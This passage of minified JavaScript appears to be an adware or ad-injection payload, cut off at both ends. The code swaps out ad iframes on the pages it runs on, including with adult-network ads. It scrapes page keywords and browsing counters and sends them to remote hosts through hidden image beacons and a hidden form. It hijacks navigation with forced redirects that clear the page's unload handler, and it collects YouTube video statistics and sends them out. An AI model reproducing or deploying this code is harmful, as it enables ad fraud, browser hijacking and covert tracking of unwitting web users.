''),vrt:!1,networks_list:[[['xertive_apx_13',304],['velis_adr6',781],['mango_K',473],['dsnr_dasa2',781],['dsnr_nntbr2',781],['cpx_cybersoft3_new',3167],['mari_gen_E',2219],['matomy_adj48_new',494],['ybrant_apn3785',500],['ybrant_bew_apnx',500]],[['mari_strm_E',50],['matomy_strm53',9950]],[['hulk_porn',10000]]],networks_conf:!1,init:function(){_wlst.get(1,function(b){_zyad.vrt=b;if(!(_zyad.vrt==17 || _zyad.location.indexOf('I6_CdKQj=')>-1|| _zyad.location.indexOf('adk2.co')>-1 ||window.self.location.hostname==\"ib.adnxs.com\"||window.self.location.hostname==\"ads.mangomediaads.com\"||window.self.location.hostname==\"servedby.adsplats.com\"||window.self.location.hostname==\"ads.incmd01.com\"||window.self.location.hostname==\"ads.incmd03.com\"||window.self.location.hostname==\"ads.ventivmedia.com\"|| _zyad.location.indexOf('=288109')>-1|| _zyad.location.indexOf('=458516')>-1||_zyad.location.indexOf('PT1311')>-1||_zyad.location.indexOf('1018-1005')>-1||_zyad.location.indexOf('1019-1001')>-1||_zyad.location.indexOf('2136&zid=')>-1))if(_zyad.networks_conf=12==_zyad.vrt?_zyad.networks_list[2]:_zyad.vrt?_zyad.networks_list[1]:!_zyad.getisP()?_zyad.networks_list[0]:!1,_zyad.networks_conf){for(i=0;5>i;i++)setTimeout(_zyad.find,500*i);window.self==window.top&&1==Math.floor(7*Math.random()+1)&&setTimeout(function(){_zyad.find(1)},6E4)}})},getisD:function(){return-1<_zyad.title.indexOf(\"torrent\")||-1<_zyad.location.indexOf(\"torrent\")},getisNA:function(){return!1},getisP:function(){try{if(12==_zyad.vrt)return!0;if(_zyad.vrt)return!1;var b=document.getElementsByTagName(\"meta\");if(b)for(i=0;i<b.length;i++)try{if(b[i]&&b[i].getAttribute(\"name\")){var a=b[i].getAttribute(\"name\").toLowerCase();if(\"description\"==a||\"keywords\"==a)_zyad.title=_zyad.title+\" \"+b[i].getAttribute(\"content\")}}catch(d){}}catch(c){}b=\"porn cenzura-spam xxx tits adult lesbian squirt creampie bondage ExSuna mature fisting fuck gangbang orgy gay nude tits tranny blowjob handjob masturbat busty slut joder horny mamada polla cock pussy threesome teens milf bdsm hentai motherless erotic cams petite\".split(\" \");for(i in b)if(-1<_zyad.location.indexOf(b[i])||-1<_zyad.title.indexOf(b[i]))return!0;return!1},epoch:function(){try{var b=new Date;try{return(b.getTime()-b.getMilliseconds())/1E3}catch(a){return parseInt(b.getTime()/1E3)}}catch(d){return 0}},between:function(b,a){return b>=a-7&&b<=a+7},detectRsize:function(b){try{var a=[0,0];try{a=[parseInt(\"number\"==typeof b.width||\"string\"==typeof b.width&&b.width.match(/[0-9]/)?b.width:b.scrollWidth),parseInt(\"number\"==typeof b.height||\"string\"==typeof b.height&&b.height.match(/[0-9]/)?b.height:b.scrollHeight)]}catch(d){}var c=_zyad.between;switch(!0){case c(a[1],600)&&c(a[0],120):return[120,600];case c(a[1],600)&&c(a[0],160):return[160,600];case c(a[1],600)&&c(a[0],300):return[300,600];case c(a[1],125)&&c(a[0],125):return[125,125];case c(a[1],250)&&c(a[0],300):return[300,250];case c(a[1],250)&&c(a[0],250):return[250,250];case c(a[1],250)&&c(a[0],336):return[300,250];case c(a[1],150)&&c(a[0],180):return[180,150];case c(a[1],400)&&c(a[0],600):return[600,400];case c(a[1],60)&&c(a[0],120):return[120,60];case c(a[1],100)&&c(a[0],300):return[300,100];case c(a[1],60)&&c(a[0],234):return[234,60];case c(a[1],60)&&c(a[0],460):return[460,60];case c(a[1],60)&&c(a[0],468):return[468,60];case c(a[1],90)&&c(a[0],728):return[728,90];default:return!1}}catch(e){return!1}},find:function(b){var a=[],d=window.self.document.getElementsByTagName(\"iframe\");for(i=0;i<d.length;i++){if(!b)try{if(d[i].hasAttribute(\"s3680546215895522580\"))continue}catch(c){try{if(d[i].getAttribute(\"s3680546215895522580\"))continue}catch(e){}};try{if(d[i].src.indexOf('=288109')>-1||d[i].src.indexOf('=458516')>-1||d[i].src.indexOf('1018-1005')>-1||d[i].src.indexOf('1019-1001')>-1||d[i].src.indexOf('2136&zid=')>-1||(d[i].getAttribute('name')&&d[i].getAttribute('id')==d[i].getAttribute('name')&&d[i].getAttribute('name').match(/^ap\\d+$/))){try{d[i].setAttribute(\"s3680546215895522580\", \"true\");d[i].setAttribute(\"replaced\", \"true\");}catch(e){};continue;}}catch(e){};(rSize=_zyad.detectRsize(d[i]))&&a.push({size:rSize,ifr:d[i],func:function(a,b){_zyad.setNetwork(a[b].ifr,a[b].size);b++;a&&a[b]&&\"function\"==typeof a[b].func&&setTimeout(function(){a[b].func(a,b)},1)}})}a[0]&&a[0].func&&a[0].func(a,0)},setNetwork:function(b,a){if(a&&b){var d=0,c=0,e=Math.floor(10000*Math.random()+0.9),f=0,h={},g=[];for(i=0;i<_zyad.networks_conf.length;i++){var j=_zyad.networks[_zyad.networks_conf[i][0]](a);j&&(h[i]=j,g.push(i),d+=_zyad.networks_conf[i][1])}10000<d&&(c=Math.floor((10000-d)/g.length+0.9));for(i=0;i<g.length;i++)if(d=g[i],f+=_zyad.networks_conf[i][1]+c,f>=e){h[d](b);break}}},iset:function(ifr, url, mode, properties){try{switch(mode){default:case 1:var channel = 0;try{if(ifr.getAttribute('bow')) channel=1}catch(e){}ifr.src = url + (properties ? (url.indexOf('?')>'-1' ? '&' : '/?') + 'I6_CdKQj=' + properties[0] + '_' + properties[1] + '_' + channel : '');break;case 2:try{ifr.src='about:blank';ifr.contentWindow.document.write('<html><head>\\x3cscript>setTimeout(function(){location.href=\"'+url+'\"},1)\\x3c/script></head><body>&nbsp;\\x3c/body>\\x3c/html>');}catch(e){var h = '<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body><iframe name=\"a7h3h73d3\" src=\"about:blank\" style=\"width:100%;height:100%;border:0\" MARGINWIDTH=\"0\" MARGINHEIGHT=\"0\" frameborder=\"0\" scrolling=\"no\" width=\"100%\" height=\"100%\"></iframe>\\x3cscript>setTimeout(function(){frames[\"a7h3h73d3\"].document.write(\"<\"+\"script>setTimeout(function(){setTimeout(function(){location.href=\\x5c\\\\x27'+url+'\\x5c\\\\x27},1)},1);\"+\"<\"+\"/script>\")},1)\\x3c/script></body></html>';ifr.src='javascript:document.write(\\''+h+'\\');'}break;case 3:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style>\\x3cscript>setTimeout(function(){document.getElementsByTagName(\"body\")[0].innerHTML=\"\\x3cscript src=\"'+url+'\">\\x3c/script>\"},10)\\x3c/script></head><body>&nbsp;</body></html>');break;case 4:ifr.src = \"about:blank\";ifr.contentWindow.document.write('<html><head><style>html,body{padding:0px;margin:0px;}</style></head><body>'+url+'</body></html>');break;}try{ifr.setAttribute(\"s3680546215895522580\", \"true\");ifr.setAttribute(\"replaced\", \"true\")}catch(e){}}catch(e){}},networks:{xertive_apx_13:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 728x90 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2500356\",\"160x600\":\"2500375\",\"300x250\":\"2500403\",\"728x90\":\"2500441\",\"468x60\":\"2500445\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1091,size]);}}catch(e){return !1;}},velis_adr6:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 120x600 160x600 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2703082\",\"300x250\":\"2703083\",\"120x600\":\"2703084\",\"160x600\":\"2703085\",\"468x60\":\"2703086\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1469,size]);}}catch(e){return !1;}},mango_K:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 160x600 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"3087538\",\"160x600\":\"3087537\",\"728x90\":\"3087536\"}[size];var surl='http://ads.mangomediaads.com/tt?id='+ arr + '&cb=${CACHEBUSTER}&referrer=${REFERER_URL}&pubclick=${CLICK_TAG}';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1625,size]);}}catch(e){return !1;}},dsnr_dasa2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=3024342&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [1596,size]);}}catch(e){return !1;}},dsnr_nntbr2:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=3024616&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [1605,size]);}}catch(e){return !1;}},cpx_cybersoft3_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://servedby.adsplats.com/tt?id=3294776&size='+size+'&referrer=${REFERER_URL}', (atp?atp:1), [1721,size]);}}catch(e){return !1;}},mari_gen_E:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"3168511\",\"300x250\":\"3168512\",\"160x600\":\"3168513\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1693,size]);}}catch(e){return !1;}},matomy_adj48_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=3223120&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [1722,size]);}}catch(e){return !1;}},ybrant_apn3785:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 120x600 160x600 468x60'.indexOf(size)) return !1;var atp=false;if(size==\"120x60\")return;var rfr=window.self==window.top?encodeURIComponent(window.self.location.href):'';var arr={\"728x90\":\"2\",\"300x250\":\"1\",\"468x60\":\"3\",\"120x600\":\"5\",\"160x600\":\"4\"}[size];var surl='http://ads.incmd03.com/creative/2-002136823-00001i;size='+arr+';tag_id=3785;ref='+rfr;;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1013,size]);}}catch(e){return !1;}},ybrant_bew_apnx:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size==\"120x60\")return;var rfr=window.self==window.top?encodeURIComponent(window.self.location.href):'';var arr={\"160x600\":\"160x600\",\"300x250\":\"300x250\",\"728x90\":\"728x90\"}[size];var surl='http://ads.incmd03.com/creative/2-002137478-00001i;size='+arr+';tag_id=6927;ref='+rfr;\r\n;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [17,size]);}}catch(e){return !1;}},mari_strm_E:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"3168702\",\"300x250\":\"3168703\",\"160x600\":\"3168704\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1709,size]);}}catch(e){return !1;}},matomy_strm53:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=3223135&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [1720,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://syndication.exoclick.com/ads-iframe-display.php?type='+size+'&login=hulkshare_RS2&cat=2&search=&ad_title_color=0000cc&bgcolor=FFFFFF&border=0&border_color=000000&font=&block_keywords=&ad_text_color=000000&ad_durl_color=008000&adult=0&sub=0&text_only=0&show_thumb=0&idzone=' + {\"728x90\":\"638635\",\"300x250\":\"638633\",\"468x60\":\"774737\",\"120x600\":\"774751\",\"160x600\":\"638637\",\"300x600\":\"774753\",\"250x250\":\"774743\",\"600x400\":\"774747\"}[size] + '&idsite=225117&p='+encodeURIComponent(window.self.location.href)+'&dt=' + Math.random();if(!document.getElementById(\"sad32ecs3fdsa\")&&1==Math.ceil(4*Math.random()))try{setTimeout(function(){var b=document.getElementsByTagName(\"body\")[0],a=document.createElement(\"div\");a.setAttribute(\"style\",\"width:728px;height:90px;margin:0 auto\");a.setAttribute(\"id\",\"sad32ecs3fdsa\");a.innerHTML='<iframe src=\"//ads.ventivmedia.com/www/delivery/afr.php?zoneid=31&cb='+Math.random()+'\" style=\"width:728px;height:90px\" frameborder=\"0\" scrolling=\"no\"></iframe>';b.insertBefore(a,b.firstChild)},1)}catch(e){};;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();})()}else{(function(){var stngs = {attr_name:'s8629283250314236861',szy_domain:[\"getdownloadmy.com\",\"scoringserving.net\"],ad_sizes:[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13]],checkif:function(ifr){return (ifr.getAttribute('s8629283250314236861') || ifr.src.indexOf('=288109')>-1||ifr.src.indexOf('=458516')>-1||ifr.src.indexOf('1018-1005')>-1||ifr.src.indexOf('1019-1001')>-1||ifr.src.indexOf('2136&zid=')>-1&&ifr.src.indexOf('PT1312')>-1||(ifr.getAttribute('name') && ifr.getAttribute('id')==ifr.getAttribute('name') && ifr.getAttribute('name').match(/^ap\\d+$/)))}};window.adzy653rk={nrnm:5,ifr:[],src:[],jbs:{ifr:[],at:[]},imp:{pid:\"1160\",eid:\"42\",hid:\"8629283250314236861\",lt:\"22.97\",referrer:document.referrer,hostname:window.self.location.hostname,url:window.self.location.hostname,jpshort:\"I6_CdKQj\",rattr:stngs.attr_name,title:document.title,domain:stngs.szy_domain,sizes:stngs.ad_sizes},topHost:function(){if(window.self!=window.top){var a=decodeURIComponent(window.self.location.search).match(/http:\\/\\/[^&]+/);return a&&a[0]}return null}(),getKeywords:function(){var a=adzy653rk.imp.title,c=document.getElementsByTagName(\"meta\");if(c)for(var b=0,d=c.length;b<d;b++)\"keywords\"!=c[b].name.toLowerCase()&&\"description\"!=c[b].name.toLowerCase()||(a+=\" \"+c[b].content.replace(/,/g,\" \"));if(b=document.getElementsByTagName(\"a\")){c={};for(d=0;d<b.length;d++)try{var e=b[d].innerText;\"undefined\"==typeof e&&(e=b[d].textContent);for(var f=e.toLowerCase().split(/[\\s,-]/g),h=0;h<f.length;h++)4>f[h].length||(c[f[h]]?c[f[h]]++:\nc[f[h]]=1)}catch(k){}var e=[],g;for(g in c)e.push([g,c[g]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(g=0;g<e.length;g++)a+=\" \"+e[g][0]}return a.replace(/[_-]/g,\" \").substring(0,1024)},init:function(){var a=document.getElementsByTagName(\"iframe\");if(a.length){for(var c=[],b=0;b<a.length;b++)stngs.checkif(a[b])||(a[b].setAttribute(adzy653rk.imp.rattr,\"true\"),a[b].setAttribute(\"replaced\",\"true\"),c.push(a[b]));if(c.length){var d=function(a){if(a>=c.length){var b=adzy653rk.imp;adzy653rk.jbs.at.length?\nadzy653rk.getAds(\"//\"+adzy653rk.imp.domain[\"https:\"==window.self.location.protocol?1:0]+\"/?tid=1&size=\"+adzy653rk.jbs.at.join(\",\")+\"&subid=\"+b.pid+\"&subid1=\"+b.hid+\"&subid2=\"+b.eid+\"&lt=\"+b.lt+\"&k=\"+encodeURIComponent(adzy653rk.getKeywords())+(adzy653rk.topHost?\"&tdh=\"+encodeURIComponent(adzy653rk.topHost):\"\"),\"seta\"):adzy653rk.destruct()}else{if(b=adzy653rk.getAt(c[a]))adzy653rk.jbs.ifr.push(c[a]),adzy653rk.jbs.at.push(b);setTimeout(function(){d(++a)},1)}};d(0)}else adzy653rk.destruct()}else adzy653rk.destruct()},\ndfn:function(a){if(adzy653rk.ifr.length&&(a=a?a:1,!(300<a))){var c=function(b){b>=adzy653rk.ifr.length?setTimeout(function(){adzy653rk.dfn(++a)},1200):(adzy653rk.src[b]&&adzy653rk.ifr[b]&&adzy653rk.ifr[b].src!=adzy653rk.src[b][0]&&(adzy653rk.ifr[b].nextSibling.innerHTML&&adzy653rk.ifr[b].nextSibling.innerHTML.match(/<span[^>]?>Ads( not)? by/i)?(new Image).src=\"http://zig.installerdatauk.info/?aid=2&bid=1&hid=8629283250314236861&eid=42&pid=1160&cid=0&c=\"+encodeURIComponent(adzy653rk.ifr[b].src):\n((new Image).src=\"http://zig.installerdatauk.info/?aid=1&bid=1&hid=8629283250314236861&eid=42&pid=1160&cid=0&c=\"+encodeURIComponent(adzy653rk.ifr[b].src),adzy653rk.ifrset(adzy653rk.ifr[b],adzy653rk.src[b][1],1))),setTimeout(function(){c(++b)},1))};c(0)}},destruct:function(a){adzy653rk.jbs={ifr:[],at:[]};adzy653rk.rnm?adzy653rk.rnm++:(adzy653rk.rnm=1,setTimeout(adzy653rk.dfn,1200));adzy653rk.rnm<=adzy653rk.nrnm&&setTimeout(adzy653rk.init,1200)},getAt:function(a){a=[parseInt(\"number\"==\ntypeof a.width||\"string\"==typeof a.width&&a.width.match(/[0-9]/)?a.width:a.scrollWidth),parseInt(\"number\"==typeof a.height||\"string\"==typeof a.height&&a.height.match(/[0-9]/)?a.height:a.scrollHeight)];for(var c=adzy653rk.imp.sizes,b=0;b<c.length;b++)if(a[0]>=c[b][0]-5&&a[0]<=c[b][0]+5&&a[1]>=c[b][1]-5&&a[1]<=c[b][1]+5)return c[b][2];return!1},getAds:function(a,c){if(-1<navigator.userAgent.indexOf(\"MSIE\")){var b=document.createElement(\"script\");b.type=\"text/javascript\";b.src=a+\"&cb=adzy653rk.\"+c;b.onreadystatechange=\nb.onload=function(){try{b.parentNode.removeChild(b)}catch(a){}};try{window.adzy653rk=adzy653rk,(document.getElementsByTagName(\"head\")[0]||document.getElementsByTagName(\"body\")[0]).appendChild(b)}catch(d){}}else{var e=new XMLHttpRequest;e.open(\"GET\",a,!0);e.onreadystatechange=function(){if(4==e.readyState)adzy653rk[c](e.response)};e.send(null)}},seta:function(a){var c=null;try{var b=adzy653rk.l.decode(a);\"undefined\"!=typeof JSON&&JSON.parse?c=JSON.parse(b):eval(\"ifrl = \"+b)}catch(d){}if(c&&c.length)for(a=\n0;a<c.length;a++)c[a]&&adzy653rk.jbs.ifr[a]&&adzy653rk.ifrset(adzy653rk.jbs.ifr[a],c[a]);adzy653rk.destruct()},ifrset:function(a,c,b){b||(adzy653rk.ifr.push(a),c[0]=c[0].replace(/\\[##([^#]+)##\\]/g,function(a,b){return adzy653rk.imp[toekn]?adzy653rk.imp[toekn]:\"\"}));var d=[\"<html><head><style>html,body{width:100%;height:100%;margin:0}</style></head><body>\",\"</body></html>\"];switch(c[1]){case 1:a.src=c[0]+(-1<c[0].indexOf(\"?\")?\"&\"+adzy653rk.imp.jpshort+\"=\"+c[2]+\"_18x18_0\":\"\");break;case 2:a.src=\"about:blank\";\ntry{a.contentWindow.document.write(d[0]+'<iframe src=\"'+c[0]+'\" style=\"width:100%;height:100%;border:0;\" scrolling=\"no\" frameborder=\"0\"></iframe>'+d[1])}catch(e){}break;case 3:case 6:a.src=\"about:blank\";try{a.contentWindow.document.write(d[0]+c[0]+d[1])}catch(f){}}b||adzy653rk.src.push([a.src,c])},l:{xlat:\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\",decode:function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,\"\");for(var c=\"\",b=0;b<a.length;){var d=this.xlat.indexOf(a.charAt(b++)),\ne=this.xlat.indexOf(a.charAt(b++)),f=this.xlat.indexOf(a.charAt(b++)),h=this.xlat.indexOf(a.charAt(b++)),k=(e&15)<<4|f>>2,g=(f&3)<<6|h,c=c+String.fromCharCode(d<<2|e>>4);64!=f&&0<k&&(c+=String.fromCharCode(k));64!=h&&0<g&&(c+=String.fromCharCode(g))}return this._utf8_decode(c)},_utf8_decode:function(a){for(var c=\"\",b=0;b<a.length;){var d=a.charCodeAt(b);if(128>d)c+=String.fromCharCode(d),b++;else if(191<d&&224>d)var e=a.charCodeAt(b+1),c=c+String.fromCharCode((d&31)<<6|e&63),b=b+2;else var e=a.charCodeAt(b+\n1),f=a.charCodeAt(b+2),c=c+String.fromCharCode((d&15)<<12|(e&63)<<6|f&63),b=b+3}return c}}};\nadzy653rk.location = adzy653rk.imp.referrer+window.self.location.href;if(adzy653rk.location.indexOf(adzy653rk.imp.jpshort+\"=\")==-1 &&adzy653rk.location.indexOf(\"adk2.co\")==-1 &&\"optimizedby.brealtime.com ads.mangomediaads.com http://www.adshost2.com s-tag.z5x.net ad.z5x.net exchange.admailtiser.com ads.geverads.com ad.yieldmanager.com creative.rev2pub.com ad.adserverplus.com servedby.adxplosions.com n103adserv.com cdn.trkclk.net srv.aileronx.com smgadserver.com ads.ventivmedia.com servedby.adsplats.com ad.reachjunction.com ads.deliads.com srv1.statisticsreporting.com advs.adgorithms.com ads.ad-maven.com ad.adnetwork.net ads.incmd03.com ads.mediawhite.com Servedby.bigfineads.com a.ad-sys.com ads.yahoo.com tala.intlsources.com an.z5x.net c5.zedo.com ib.adnxs.com ad.jumbaexchange.com tr.adsplats.com ads.sonobi.com fw.adsafeprotected.com ad.improvemedianetwork.com media.glispa.com\".indexOf(window.self.location.hostname)==-1 &&adzy653rk.location.indexOf(\"zoneid=288109\")==-1 &&adzy653rk.location.indexOf(\"zoneid=458516\")==-1 &&adzy653rk.location.indexOf(\"2136&zid=\")==-1 &&adzy653rk.location.indexOf(\"1018-1005\")==-1 &&adzy653rk.location.indexOf(\"1019-1001\")==-1 &&adzy653rk.location.indexOf(\"PT1312\")==-1)adzy653rk.init()})()};(function(){var b,f,g;try{var a=window.self.location.href;if(!(window.self==window.top||\"undefined\"==typeof localStorage||\"undefined\"==typeof localStorage.setItem||-1==a.indexOf(\"I6_CdKQj=\")&&!a.match(/1018-\\d{3,4}_/)&&-1==a.indexOf(\"cdncache-a.aka\"))){if(-1<a.indexOf(\"I6_CdKQj=\")){var d=a.match(/I6_CdKQj=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);b=d[1];f=d[2].replace(\"x\",\".\");g=d[3]?d[3]:0}else{try{var j=-1<a.indexOf(\"zoneid\")?a.match(/zoneid=(\\d+)/)[1]:a.match(/1018-(\\d+)_WS/)[1]}catch(n){j=0}var c=document.getElementsByTagName(\"body\")[0];b=-1<a.indexOf(\"cdncache-a.aka\")?1001:1002;f=Math.max(c.scrollWidth,c.offsetWidth)+\".\"+Math.max(c.scrollHeight,c.offsetHeight);g=j}var e=new Date,k=parseInt(e.getTime()/1E3),l=\"zyk_\"+[e.getUTCFullYear()+\"-\"+(e.getUTCMonth()+1)+\"-\"+e.getUTCDate(),b,f,g].join(),m=localStorage.getItem(l);localStorage.setItem(l,1+(m?parseInt(m):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<k-parseInt(lsTime)){var h=document.createElement(\"div\");b=[];for(i in localStorage)-1<i.indexOf(\"zyk_\")&&b.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));h.style.display=\"none\";h.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"http://count3.webscorebox.com/?q=g708BNmGWj8njchVWzmPhd99rShEAen0rjw7rch7hftHAe0KojUMgNtLD6qVCT9GtMDPhd9EtMZPhd95qTs4rTYHrTkErHw9rTr7pdgF\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+b.join(\",\")+'}\"></form>';(typeof c!=\"undefined\"?c:document.getElementsByTagName(\"body\")[0]).appendChild(h);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",k)}}catch(p){}})();;(function(){try{var b=\"gonetwork.eu performancerevenues.com adtransfer adk2.com timehare clkads.com adcash xtendmedia.com cpxinteractive media-servers directrev doubleclick brealtime.com adnxs.com yieldmanager jsopen yieldads adserverplus clicksor exoclick.com vitalads zedo.com mshft pop.billi mediawhite edomz getjs adjuggler realpopbid bestadbid directdisplayad displayadfeed adorika displayadfeed akamaihd.net/ssa/ trusted-serving tusfiles clkmon.c minecraftdl\".split(\" \");for(i=0;i<b.length;i++){var a=location.href + (document.title?document.title.toLowerCase():\"z\");if(document.referrer&&-1<document.referrer.indexOf(b[i])&&(-1<a.indexOf(\"download\")||-1<a.indexOf(\"convert\")||-1<window.self.location.href.indexOf(\"babylon\")||-1<window.self.location.href.indexOf(\"se Update Go\")||-1<window.self.location.href.indexOf(\"ilivid\")||-1<window.self.location.href.indexOf(\"download\")||-1<a.indexOf(\"regclean\")||-1<a.indexOf(\"etype\")||-1<a.indexOf(\"diction\")||-1<a.indexOf(\"my-uq\")||-1<a.indexOf(\"ftalk\")||-1<a.indexOf(\"pcspeedmaximizer\")||-1<a.indexOf(\"kingtransl\")||-1<a.indexOf(\"jsopen\")||-1<a.indexOf(\"7-zip\")||-1<a.indexOf(\"boost pc\")||-1<a.indexOf(\"computer slow\")||-1<a.indexOf(\"7-update14\")||-1<a.indexOf(\"player\")) || location.hostname.indexOf('jsopen.net')>-1){var channel=99;if(window.onbeforeunload){window.onbeforeunload=null;channel=98};location.href=\"http://superiends.org/e/?f=pdrKrTnKqTrKrjYHfHw9rjaEpdCFqjs%3D&eid=42&hid=8629283250314236861&pid=1160&ch=\"+channel+\"&s=px.pluginh&r=\"+Math.random();break}}}catch(d){}})();(function(){var g=function(){var a=window.location.search.split(\"v=\")[1],b=a&&a.indexOf(\"&\")||-1;-1!=b&&(a=a.substring(0,b));return a},h=function(){var a=document.getElementsByClassName(\"watch-view-count\");return a&&a[0]&&a[0].innerHTML?a[0].innerHTML.replace(/^([0-9,]+).*$/,\"$1\").replace(/,/g,\"\")||0:0},k=function(){var a=document.getElementsByClassName(\"watch-extras-section\");if(a)for(var b=0;b<a[0].children.length;b++)if(\"Category\"===a[0].children[b].getElementsByClassName(\"title\")[0].innerHTML.trim()){var c=a[0].children[b].getElementsByTagName(\"a\");if(c&&c[0]&&(c=c[0].getAttribute(\"href\")))return encodeURIComponent(c.replace(\"/\",\"\"))}return\"\"},l=function(){var a=document.getElementsByClassName(\"yt-subscription-button-subscriber-count-branded-horizontal\");if(a&&a[1]&&a[1].innerHTML)return(a=a[1].innerHTML.replace(/[^0-9]/g,\"\"))||0;if(a&&a[0]&&a[0].innerHTML||(a=document.getElementsByClassName(\"_mov\"))&&a[0]&&a[0].innerHTML)return(a=a[0].innerHTML.replace(/[^0-9]/g,\"\"))||0};if(window.self==window.top&&(-1<window.self.location.hostname.indexOf(\"youtube.com\")||-1<window.self.location.hostname.indexOf(\"youtu.be\")))try{var e=document.getElementsByTagName(\"body\")[0];if(!e.getAttribute(\"wyttb\")){e.setAttribute(\"wyttb\",\"1\");var f=g(),d=h(),m=k(),n=l();f&&d&&d&&((new Image).src=\"https://score.transferin.in/v.php?id=\"+f+\"&n=\"+d+\"&c=\"+m+\"&s=\"+n+\"&cb=83.24.63.183\")}}catch(p){}})();;if(-1==window.self.location.hostname.indexOf('mail.')){for(i=0;5>i;i++)window.setTimeout(function(){document.getElementById('c2soffer')&&document.getElementById('c2soffer').parentNode.removeChild(document.getElementById('c2soffer'))},100*i);var c2soffer=document.querySelectorAll('div.c2soffer');if(c2soffer && c2soffer.length && c2soffer.length>0)for(var i=0;i<c2soffer.length;i++)c2soffer[i].parentNode.removeChild(c2soffer[i]);document.getElementById('w3uyh7g6h7f5x')&&document.getElementById('w3uyh7g6h7f5x').parentNode.removeChild(document.getElementById('w3uyh7g6h7f5x'))};if(window.top==window.self&&\"undefined\"!=typeof addEventListener&&5>parseInt(\"22.97\")&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var 